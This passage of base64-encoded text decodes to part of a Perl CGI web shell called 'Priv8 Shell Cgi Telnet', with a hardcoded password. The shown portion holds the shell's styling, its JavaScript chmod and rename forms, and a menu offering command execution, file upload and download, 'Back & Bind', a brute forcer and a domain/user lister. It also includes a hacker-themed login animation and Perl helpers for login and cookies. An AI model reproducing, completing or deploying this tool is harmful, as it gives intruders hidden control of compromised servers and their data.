NvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiB3aGlsZTsKfQoKcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiAjRkYwMEFBOwp9Cgp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZjExMTE7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmMTExMTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KCi5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7CgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8KCXZhciBhamF4PSIiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+CjxzdHlsZT4KYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyBjb2xvcjojZTFlMWUxOyBtYXJnaW46MDsgZm9udDpub3JtYWwgNzUlIE9wZW4gU2Fucywgc2Fucy1zZXJpZjsgYmFja2dyb3VuZC1pbWFnZTp1cmwoJ2h0dHBzOi8vaS5pbWd1ci5jb20vaExjUUNCeC5naWYnKTsgfSA8L3N0eWxlPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPgoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoKCTx0ZD4KCgkJPGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmZmZmZmIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmZmZmZiI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfAoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4KCjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjwvcHJlPgoKPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+WyBQcml2OCBTaGVsbCBDZ2kgVGVsbmV0IF08L2ZvbnQ+PGJyPjxmb250IHN0eWxlPSJmb250OiA4cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+UGFzc3dvcmQ6IHByaXY4c2hlbGwgPC9mb250Pjxicjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjZmYxMTExIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNmZjExMTEiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiNmZjExMTEiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+PGZvbnQgY29sb3I9IiNmZjExMTEiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjZmYxMTExIj48Zm9udCBjb2xvcj0iI2ZmMTExMSI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBs